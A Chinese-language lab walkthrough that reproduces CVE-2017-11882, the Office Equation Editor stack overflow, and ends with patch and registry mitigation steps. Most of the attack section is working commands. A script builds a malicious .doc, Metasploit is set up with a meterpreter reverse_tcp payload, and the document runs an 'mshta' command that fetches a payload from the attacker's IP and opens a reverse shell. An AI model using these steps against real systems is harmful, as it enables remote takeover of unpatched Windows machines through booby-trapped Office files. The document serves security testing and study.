从漏洞利用效果来看,它可以通杀Office 2003到2016的所有版本。
此漏洞是由Office软件里面的 [公式编辑器] 造成的,成因是EQNEDT32.EXE进程在读入包含MathType的ole数据时,在拷贝公式字体名称(Font Name数据)时没有对名称长度进行校验,从而造成栈缓冲区溢出,是一个非常经典的栈溢出漏洞。函数给Font Name数据分配的大小是0x24个字节,超过该大小就会造成溢出。
影响版本:
office 2003 office 2007 office 2010 office 2013 office 2016
漏洞复现环境
kali 19
windows 7 sp1(office 2016)
*理论上和操作系统无关,w7和w10都可以
实验前提
安装office 2016
将cve_2017_11882.rb拷贝到metasploit目录中/usr/share/metasploit-framework/modules/exploits/windows/smb
将Command109b_CVE-2017-11882.py拷贝到主目录下
分析
调用模块WinExec,将cmd.exe /c calc.exe做为参数传入执行,实现调用。
测试实验
先弹个计算器测试下(上传至w7)
kali下运行(生成doc)
python Command109b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
实验
打开Metasploit
msfconsole
使用模块
msf > use exploit/windows/smb/cve_2017_11882
设置tcp反弹会话
msf exploit(CVE-2017-11882) > set payload windows/meterpreter/reverse_tcp
设置kali ip地址
msf exploit(CVE-2017-11882) > set lhost 192.168.253.129
设置路径为test,可自定义
msf exploit(CVE-2017-11882) > set uripath test
开启渗透,进入监听状态
msf exploit(CVE-2017-11882) > exploit
使用Command109b_CVE-2017-11882.py模块,生成带有shell的doc文件:
python Command109b_CVE-2017-11882.py -c "mshta http://192.168.253.129:8080/test" -o test-1.doc
运行文档后
kali
查看会话(发现已经有回连)
sessions
切换到回链1
sessions -1
漏洞修复
1.下载微软对此漏洞补丁:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882,并且开启自动更新功能
2.在注册表中禁用该漏洞模块
reg add "HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD/d 0x400